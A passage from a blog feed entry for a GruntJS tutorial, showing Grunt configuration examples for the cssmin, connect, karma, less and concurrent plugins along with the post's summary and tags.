<figure class="highlight javascript"><figcaption><span>grunt.config.init (example with banner and adding .min.css extension)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">cssmin: &#123;</span><br><span class="line">  add_banner: &#123;</span><br><span class="line">    options: &#123;</span><br><span class="line">      banner: <span class="string">&#x27;/* My minified css file */&#x27;</span></span><br><span class="line">    &#125;,</span><br><span class="line">    files: [&#123;</span><br><span class="line">      expand: <span class="literal">true</span>,</span><br><span class="line">      cwd: <span class="string">&#x27;release/css/&#x27;</span>,</span><br><span class="line">      src: [<span class="string">&#x27;*.css&#x27;</span>, <span class="string">&#x27;!*.min.css&#x27;</span>],</span><br><span class="line">      dest: <span class="string">&#x27;release/css/&#x27;</span>,</span><br><span class="line">      ext: <span class="string">&#x27;.min.css&#x27;</span></span><br><span class="line">    &#125;]</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>7- <a href="https://github.com/gruntjs/grunt-contrib-connect">connect</a>: runs server as long as Grunt is running. It can be persistent passing <code>keepalive</code> like this <code>grunt connect:keepalive</code>.</p>
<figure class="highlight javascript"><figcaption><span>grunt.config.init (example)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">connect: &#123;</span><br><span class="line">  server: &#123;</span><br><span class="line">    options: &#123;</span><br><span class="line">      port: <span class="number">9001</span>,</span><br><span class="line">      base: <span class="string">&#x27;www-root&#x27;</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>8- <a href="https://github.com/karma-runner/grunt-karma">karma</a>: runs karma testing tool.</p>
<figure class="highlight javascript"><figcaption><span>grunt.config.init (example)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">karma: &#123;</span><br><span class="line">  unit: &#123;</span><br><span class="line">    options: &#123;</span><br><span class="line">      files: [<span class="string">&#x27;test/**/*.js&#x27;</span>]</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight javascript"><figcaption><span>grunt.config.init (example referencing karma.conf and overriding parameters)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">karma: &#123;</span><br><span class="line">  unit: &#123;</span><br><span class="line">    configFile: <span class="string">&#x27;karma.conf.js&#x27;</span>,</span><br><span class="line">    runnerPort: <span class="number">9999</span>,</span><br><span class="line">    singleRun: <span class="literal">true</span>,</span><br><span class="line">    browsers: [<span class="string">&#x27;PhantomJS&#x27;</span>],</span><br><span class="line">    logLevel: <span class="string">&#x27;ERROR&#x27;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>9- <a href="https://github.com/gruntjs/grunt-contrib-less">less</a>: Compile LESS files to CSS.</p>
<figure class="highlight javascript"><figcaption><span>grunt.config.init (example)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">less: &#123;</span><br><span class="line">  development: &#123;</span><br><span class="line">    options: &#123;</span><br><span class="line">      paths: [<span class="string">&quot;assets/css&quot;</span>]</span><br><span class="line">    &#125;,</span><br><span class="line">    files: &#123;</span><br><span class="line">      <span class="string">&quot;path/to/result.css&quot;</span>: <span class="string">&quot;path/to/source.less&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  production: &#123;</span><br><span class="line">    options: &#123;</span><br><span class="line">      paths: [<span class="string">&quot;assets/css&quot;</span>],</span><br><span class="line">      cleancss: <span class="literal">true</span>,</span><br><span class="line">      modifyVars: &#123;</span><br><span class="line">        imgPath: <span class="string">&#x27;&quot;http://mycdn.com/path/to/images&quot;&#x27;</span>,</span><br><span class="line">        bgColor: <span class="string">&#x27;red&#x27;</span></span><br><span class="line">      &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    files: &#123;</span><br><span class="line">      <span class="string">&quot;path/to/result.css&quot;</span>: <span class="string">&quot;path/to/source.less&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>10- <a href="https://github.com/sindresorhus/grunt-concurrent">concurrent</a>: Run grunt tasks concurrently.</p>
<figure class="highlight javascript"><figcaption><span>grunt.config.init (example)</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">concurrent: &#123;</span><br><span class="line">  target1: [<span class="string">&#x27;coffee&#x27;</span>, <span class="string">&#x27;sass&#x27;</span>],</span><br><span class="line">  target2: [<span class="string">&#x27;jshint&#x27;</span>, <span class="string">&#x27;mocha&#x27;</span>],</span><br><span class="line">  target3: &#123;</span><br><span class="line">    tasks: [<span class="string">&#x27;nodemon&#x27;</span>, <span class="string">&#x27;watch&#x27;</span>],</span><br><span class="line">    options: &#123;</span><br><span class="line">      logConcurrentOutput: <span class="literal">true</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>In the next blog post, we will continue the tutorial with using GruntJS in a web application, making your own plugins and a comparison between other task runners tools such as Gulp, Gulp, Brunch, Rake::Pipeline and Broccoli.</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;Sometimes you find yourself doing the same tasks again and again, especially during web development. It is time to automate repetitive tasks and use that time in more creative activities. This is where Grunt comes in. Grunt is a popular task runner that runs on NodeJS. It can minify CSS/JavaScript, run linting tools (JSHint, JSlint, CSSlint), deploy to server, and run test cases when you change a file to name a few. All the information I found about Grunt and similar Javascript test runners were too verbose and not very helpful to get started quickly. So, I decided to make this tutorial.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
    
      <category term="nodejs" scheme="https://adrianmejia.com/tags/nodejs/"/>
    
      <category term="gruntjs" scheme="https://adrianmejia.com/tags/gruntjs/"/>
    
  </entry>
  
</feed>
